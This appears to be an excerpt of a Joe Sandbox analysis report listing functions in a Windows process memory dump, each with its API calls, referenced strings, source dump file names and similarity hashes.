SysAllocString.OLEAUT32(00000001), ref: 00ABF860
VariantCopy.OLEAUT32(00ABFA64,00000000), ref: 00ABF889
VariantClear.OLEAUT32(00ABFA64), ref: 00ABF8AD
VariantCopy.OLEAUT32(00ABFA64,00000000), ref: 00ABF8B1
VariantClear.OLEAUT32(?), ref: 00ABF8BB

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Variant$ClearCopy$AllocInitString
String ID:
API String ID: 3859894641-0
Opcode ID: 379010c82a52fb0848457a3cf362ab41dc5c36bfccad0cafee342599b25c1884
Instruction ID: 8a4fe08dfcd49a8fb80818a1bc8b8d8df7e970444c987bccc24a569c8696f5ab
Opcode Fuzzy Hash: 379010c82a52fb0848457a3cf362ab41dc5c36bfccad0cafee342599b25c1884
Instruction Fuzzy Hash: 5451A131610310BECF24ABA5DD95BA9B3BCAF45710B289467E906DF297DB708C40C796

Function 00AD910C Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 383COMMON

Download Yara Rule

APIs

Part of subcall function 00A67620: _wcslen.LIBCMT ref: 00A67625

Part of subcall function 00A66B57: _wcslen.LIBCMT ref: 00A66B6A

GetOpenFileNameW.COMDLG32(00000058), ref: 00AD94E5
_wcslen.LIBCMT ref: 00AD9506
_wcslen.LIBCMT ref: 00AD952D
GetSaveFileNameW.COMDLG32(00000058), ref: 00AD9585

Strings

X, xrefs: 00AD9412

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: _wcslen$FileName$OpenSave
String ID: X
API String ID: 83654149-3081909835
Opcode ID: 9bb159a062bfcd194ee7db22630e9f3f2d324ace2b0a27803925309b0e409472
Instruction ID: b4c54237f874dce5f23976d007bd3a75f13e9a26bf6114da26a00c2b528f8732
Opcode Fuzzy Hash: 9bb159a062bfcd194ee7db22630e9f3f2d324ace2b0a27803925309b0e409472
Instruction Fuzzy Hash: 8BE16F716043019FD724EF24C981A6BB7F4BF85314F14896DE89A9B3A2DB31DD05CB92

Function 00A7920C Relevance: 9.1, APIs: 6, Instructions: 113COMMON

Download Yara Rule

APIs

Part of subcall function 00A79BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 00A79BB2

BeginPaint.USER32(?,?,?), ref: 00A79241
GetWindowRect.USER32(?,?), ref: 00A792A5
ScreenToClient.USER32(?,?), ref: 00A792C2
SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 00A792D3
EndPaint.USER32(?,?,?,?,?), ref: 00A79321
Rectangle.GDI32(00000000,00000000,00000000,?,?), ref: 00AB71EA

Part of subcall function 00A79339: BeginPath.GDI32(00000000), ref: 00A79357

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: BeginPaintWindow$ClientLongPathRectRectangleScreenViewport
String ID:
API String ID: 3050599898-0
Opcode ID: 7c9d1c4b031064e8199ac4fa10620cbf81f70829e7ab16b3e78b33aa628f3f24
Instruction ID: 874d5591447d572f8445298dd93ad0d192cdec01191006cdff9517329a185df5
Opcode Fuzzy Hash: 7c9d1c4b031064e8199ac4fa10620cbf81f70829e7ab16b3e78b33aa628f3f24
Instruction Fuzzy Hash: 9941B231104200AFD711DF69DC84FBB7BBCEB85320F14866AF9698B2B2C7719846DB61

Function 00AD07EF Relevance: 9.1, APIs: 6, Instructions: 107fileCOMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,000001F5), ref: 00AD080C
ReadFile.KERNEL32(?,?,0000FFFF,?,00000000), ref: 00AD0847
EnterCriticalSection.KERNEL32(?), ref: 00AD0863
LeaveCriticalSection.KERNEL32(?), ref: 00AD08DC
ReadFile.KERNEL32(?,?,0000FFFF,00000000,00000000), ref: 00AD08F3
InterlockedExchange.KERNEL32(?,000001F6), ref: 00AD0921

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: CriticalExchangeFileInterlockedReadSection$EnterLeave
String ID:
API String ID: 3368777196-0
Opcode ID: 4ee7823d3a245cc2455eb10749b641ba0f96d63dd75756f07d624008f05c8ec8
Instruction ID: 5ae702a2cba5b5834bbef1211477022e0044435943c7408c828335f1650cf9fe
Opcode Fuzzy Hash: 4ee7823d3a245cc2455eb10749b641ba0f96d63dd75756f07d624008f05c8ec8
Instruction Fuzzy Hash: 8D416A71900205EFDF14EF94DD85AAAB7B8FF04310F1480A5ED059A296DB30DE65DBA4

Function 00AF81DB Relevance: 9.1, APIs: 6, Instructions: 104windowCOMMON

Download Yara Rule

APIs

ShowWindow.USER32(FFFFFFFF,00000000,?,00000000,00000000,?,00ABF3AB,00000000,?,?,00000000,?,00AB682C,00000004,00000000,00000000), ref: 00AF824C
EnableWindow.USER32(?,00000000), ref: 00AF8272
ShowWindow.USER32(FFFFFFFF,00000000), ref: 00AF82D1
ShowWindow.USER32(?,00000004), ref: 00AF82E5
EnableWindow.USER32(?,00000001), ref: 00AF830B
SendMessageW.USER32(?,0000130C,00000000,00000000), ref: 00AF832F

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Window$Show$Enable$MessageSend
String ID:
API String ID: 642888154-0
Opcode ID: a9964d6499e44b17dba2181a7bd086db79e7d20269b192973a441be92e34d923
Instruction ID: e1e2c96f29be75933a97e8b404a05dc968ef78a63a54ee4b878f34c2338b6b34
Opcode Fuzzy Hash: a9964d6499e44b17dba2181a7bd086db79e7d20269b192973a441be92e34d923
Instruction Fuzzy Hash: 6B419434601648EFDB21CF95C999BF87BE0BB4A714F184269F6184F272CB35A846CF50

Function 00AC4C7D Relevance: 9.1, APIs: 6, Instructions: 87windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00AC4C95
SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 00AC4CB2
SendMessageW.USER32(?,0000000D,00000001,00000000), ref: 00AC4CEA
_wcslen.LIBCMT ref: 00AC4D08
CharUpperBuffW.USER32(00000000,00000000,?,?,?,?), ref: 00AC4D10
_wcsstr.LIBVCRUNTIME ref: 00AC4D1A

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: MessageSend$BuffCharUpperVisibleWindow_wcslen_wcsstr
String ID:
API String ID: 72514467-0
Opcode ID: bbf505591d842494c13b572a713c97bff74a1bfbad9dfcafc4f6860982885c4d
Instruction ID: 75e357521a3f7d3229281164275530619e7612d02a72855cafdfb895f6801d04
Opcode Fuzzy Hash: bbf505591d842494c13b572a713c97bff74a1bfbad9dfcafc4f6860982885c4d
Instruction Fuzzy Hash: 34212C312082047BEB16AB799D15F7B7BACDF49760F11802DF809CA191EA65CD01C360

Function 00AD581E Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 336comCOMMON

Download Yara Rule

APIs

Part of subcall function 00A63AA2: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00A63A97,?,?,00A62E7F,?,?,?,00000000), ref: 00A63AC2

_wcslen.LIBCMT ref: 00AD587B
CoInitialize.OLE32(00000000), ref: 00AD5995
CoCreateInstance.OLE32(00AFFCF8,00000000,00000001,00AFFB68,?), ref: 00AD59AE
CoUninitialize.OLE32 ref: 00AD59CC

Strings

.lnk, xrefs: 00AD5876, 00AD58C1, 00AD5985

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: CreateFullInitializeInstanceNamePathUninitialize_wcslen
String ID: .lnk
API String ID: 3172280962-24824748
Opcode ID: f482de1b2dc6abd9ebd39a4b2f9c0f4a7b58c94bcf5c56a0fb4d7af408494693
Instruction ID: 8074840db0d27ed981602f25be89609430fb5460572f508753be8d8ba6d40422
Opcode Fuzzy Hash: f482de1b2dc6abd9ebd39a4b2f9c0f4a7b58c94bcf5c56a0fb4d7af408494693
Instruction Fuzzy Hash: 0DD14371A087019FC714DF24C594A2ABBF5EF89724F14885AF88A9B361DB31EC45CB92

Function 00AC175D Relevance: 9.1, APIs: 6, Instructions: 68memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00AC0FB4: GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 00AC0FCA
Part of subcall function 00AC0FB4: GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 00AC0FD6
Part of subcall function 00AC0FB4: GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 00AC0FE5
Part of subcall function 00AC0FB4: HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 00AC0FEC
Part of subcall function 00AC0FB4: GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 00AC1002

GetLengthSid.ADVAPI32(?,00000000,00AC1335), ref: 00AC17AE
GetProcessHeap.KERNEL32(00000008,00000000), ref: 00AC17BA
HeapAlloc.KERNEL32(00000000), ref: 00AC17C1
CopySid.ADVAPI32(00000000,00000000,?), ref: 00AC17DA
GetProcessHeap.KERNEL32(00000000,00000000,00AC1335), ref: 00AC17EE
HeapFree.KERNEL32(00000000), ref: 00AC17F5

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Heap$Process$AllocInformationToken$CopyErrorFreeLastLength
String ID:
API String ID: 3008561057-0
Opcode ID: f0ef1593e46e77ab2d79e45ca6546a5a42a9c7991271c79024136598acd2bd4b
Instruction ID: b33011680cdc8db7650911e23fef2d385bc54ce03cd0c1ee90ef283a3c7dbae2
Opcode Fuzzy Hash: f0ef1593e46e77ab2d79e45ca6546a5a42a9c7991271c79024136598acd2bd4b
Instruction Fuzzy Hash: 82118632600209EFDB20DBE5CD49FAE7BA9EF42365F11411CE481A7212D736A956CB60

Function 00AC14CE Relevance: 9.1, APIs: 6, Instructions: 64processCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(0000000A,00000004), ref: 00AC14FF
OpenProcessToken.ADVAPI32(00000000), ref: 00AC1506
CreateEnvironmentBlock.USERENV(?,00000004,00000001), ref: 00AC1515
CloseHandle.KERNEL32(00000004), ref: 00AC1520
CreateProcessWithLogonW.ADVAPI32(?,?,?,00000000,00000000,?,?,00000000,?,?,?), ref: 00AC154F
DestroyEnvironmentBlock.USERENV(00000000), ref: 00AC1563

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Process$BlockCreateEnvironment$CloseCurrentDestroyHandleLogonOpenTokenWith
String ID:
API String ID: 1413079979-0
Opcode ID: b7d33f781740ce9862d7e03b3ece3d31a622e1a1a5f119e5d55e49f0c79f130e
Instruction ID: 9a28b38b601e19c6a89d4ab3b797ac329dbfc48e6c5a854f7def0dfa452ae5e8
Opcode Fuzzy Hash: b7d33f781740ce9862d7e03b3ece3d31a622e1a1a5f119e5d55e49f0c79f130e
Instruction Fuzzy Hash: D6115C7260020DABDF11CFD4DE49FEE7BA9EF49754F054018FA05A2160C3758E65EB60

Function 00A83382 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00A83379,00A82FE5), ref: 00A83390
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00A8339E
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00A833B7
SetLastError.KERNEL32(00000000,?,00A83379,00A82FE5), ref: 00A83409

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 1963f33a663ed7e0a0d4b1c2f33a65da6b017c9aebf5279d42b660cd4ae7d4a0
Instruction ID: 4d49bd342606898cc1e1692b7aaab21b47d1500ab2fb8ba8414e4d27d3688371
Opcode Fuzzy Hash: 1963f33a663ed7e0a0d4b1c2f33a65da6b017c9aebf5279d42b660cd4ae7d4a0
Instruction Fuzzy Hash: AA01D433609311BEEF263BB9BD85A6B2E94EB05B797200339F4108A1F1EF114E039784

Function 00A92D74 Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00A95686,00AA3CD6,?,00000000,?,00A95B6A,?,?,?,?,?,00A8E6D1,?,00B28A48), ref: 00A92D78
_free.LIBCMT ref: 00A92DAB
_free.LIBCMT ref: 00A92DD3
SetLastError.KERNEL32(00000000,?,?,?,?,00A8E6D1,?,00B28A48,00000010,00A64F4A,?,?,00000000,00AA3CD6), ref: 00A92DE0
SetLastError.KERNEL32(00000000,?,?,?,?,00A8E6D1,?,00B28A48,00000010,00A64F4A,?,?,00000000,00AA3CD6), ref: 00A92DEC
_abort.LIBCMT ref: 00A92DF2

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: ErrorLast$_free$_abort
String ID:
API String ID: 3160817290-0
Opcode ID: 261f89bddb37448357fc35b08edddb0ddbae088a9b024e0b1b42185567f5a123
Instruction ID: 5f3faa49935969a12a6028a52e78830fdcf9f272f1eef60c7c66615297c34b0a
Opcode Fuzzy Hash: 261f89bddb37448357fc35b08edddb0ddbae088a9b024e0b1b42185567f5a123
Instruction Fuzzy Hash: 87F0C83674560037DE22B775BE06F6F25E9AFD17F1F254519F824E61D2EE24880243A0

Function 00AF8A24 Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

Part of subcall function 00A79639: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 00A79693
Part of subcall function 00A79639: SelectObject.GDI32(?,00000000), ref: 00A796A2
Part of subcall function 00A79639: BeginPath.GDI32(?), ref: 00A796B9
Part of subcall function 00A79639: SelectObject.GDI32(?,00000000), ref: 00A796E2

MoveToEx.GDI32(?,-00000002,00000000,00000000), ref: 00AF8A4E
LineTo.GDI32(?,00000003,00000000), ref: 00AF8A62
MoveToEx.GDI32(?,00000000,-00000002,00000000), ref: 00AF8A70
LineTo.GDI32(?,00000000,00000003), ref: 00AF8A80
EndPath.GDI32(?), ref: 00AF8A90
StrokePath.GDI32(?), ref: 00AF8AA0

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Path$LineMoveObjectSelect$BeginCreateStroke
String ID:
API String ID: 43455801-0
Opcode ID: 245b5b0036e9ea40542c81f74697adcfed438090476c8c38a2b063ec3a0278ed
Instruction ID: cf94214ee304c02424a48c78bd3a86952f66a86c0f92dcca02a17ab7311c1b2a
Opcode Fuzzy Hash: 245b5b0036e9ea40542c81f74697adcfed438090476c8c38a2b063ec3a0278ed
Instruction Fuzzy Hash: 42110C7600010DFFDB119FD5DD48EAA7F6CEB04364F008112BA1996161CB719D56DB60

Function 00AC51FD Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 00AC5218
GetDeviceCaps.GDI32(00000000,00000058), ref: 00AC5229
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00AC5230
ReleaseDC.USER32(00000000,00000000), ref: 00AC5238
MulDiv.KERNEL32(000009EC,?,00000000), ref: 00AC524F
MulDiv.KERNEL32(000009EC,00000001,?), ref: 00AC5261

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: CapsDevice$Release
String ID:
API String ID: 1035833867-0
Opcode ID: 451e1ae228812cd422e7c3ad1a30be5f73c4cac075578c20642444081dd024f1
Instruction ID: 69244c6737585e605db59a8a12401a65cb1289c1ddc0ecba96ef298597fa7bff
Opcode Fuzzy Hash: 451e1ae228812cd422e7c3ad1a30be5f73c4cac075578c20642444081dd024f1
Instruction Fuzzy Hash: 87012C75E04618BBEB109BF69D49F9EBFA8EF48761F044065FA04E7281DA709905CBA0

Function 00A61BC3 Relevance: 9.0, APIs: 6, Instructions: 44keyboardCOMMON

Download Yara Rule

APIs

MapVirtualKeyW.USER32(0000005B,00000000), ref: 00A61BF4
MapVirtualKeyW.USER32(00000010,00000000), ref: 00A61BFC
MapVirtualKeyW.USER32(000000A0,00000000), ref: 00A61C07
MapVirtualKeyW.USER32(000000A1,00000000), ref: 00A61C12
MapVirtualKeyW.USER32(00000011,00000000), ref: 00A61C1A
MapVirtualKeyW.USER32(00000012,00000000), ref: 00A61C22

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Virtual
String ID:
API String ID: 4278518827-0
Opcode ID: 3a418c546e4582516dccff2d25567350e770ce8a0cd5e6f9a1af2277e5ab82ef
Instruction ID: 0858b7ec24208f36791056db2f9e5847d1483f8d792f85e0317b81a21ce3913b
Opcode Fuzzy Hash: 3a418c546e4582516dccff2d25567350e770ce8a0cd5e6f9a1af2277e5ab82ef
Instruction Fuzzy Hash: 6D016CB09027597DE3008F5A8C85B52FFA8FF19354F00411B915C47941C7F5A864CBE5

Function 00ACEB20 Relevance: 9.0, APIs: 6, Instructions: 42windowtimethreadCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,00000000), ref: 00ACEB30
SendMessageTimeoutW.USER32(?,00000010,00000000,00000000,00000002,000001F4,?), ref: 00ACEB46
GetWindowThreadProcessId.USER32(?,?), ref: 00ACEB55
OpenProcess.KERNEL32(001F0FFF,00000000,?,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00ACEB64
TerminateProcess.KERNEL32(00000000,00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00ACEB6E
CloseHandle.KERNEL32(00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00ACEB75

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
String ID:
API String ID: 839392675-0
Opcode ID: eb0e76a7f5156e775630e9c943991a3fed2226ad762ec5f75976447d76568d6c
Instruction ID: aeba630241e70f8a415163ff2692c6af2dd5bcd13c3f1dcdb79b67f59eaf450a
Opcode Fuzzy Hash: eb0e76a7f5156e775630e9c943991a3fed2226ad762ec5f75976447d76568d6c
Instruction Fuzzy Hash: 01F01772240158BBE7219BE39D0EEFB7A7CEFCAB61F004258F601D50919BA45A02D6B5

Function 00AB7439 Relevance: 9.0, APIs: 6, Instructions: 37windowCOMMON

Download Yara Rule

APIs

GetClientRect.USER32(?), ref: 00AB7452
SendMessageW.USER32(?,00001328,00000000,?), ref: 00AB7469
GetWindowDC.USER32(?), ref: 00AB7475
GetPixel.GDI32(00000000,?,?), ref: 00AB7484
ReleaseDC.USER32(?,00000000), ref: 00AB7496
GetSysColor.USER32(00000005), ref: 00AB74B0

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: ClientColorMessagePixelRectReleaseSendWindow
String ID:
API String ID: 272304278-0
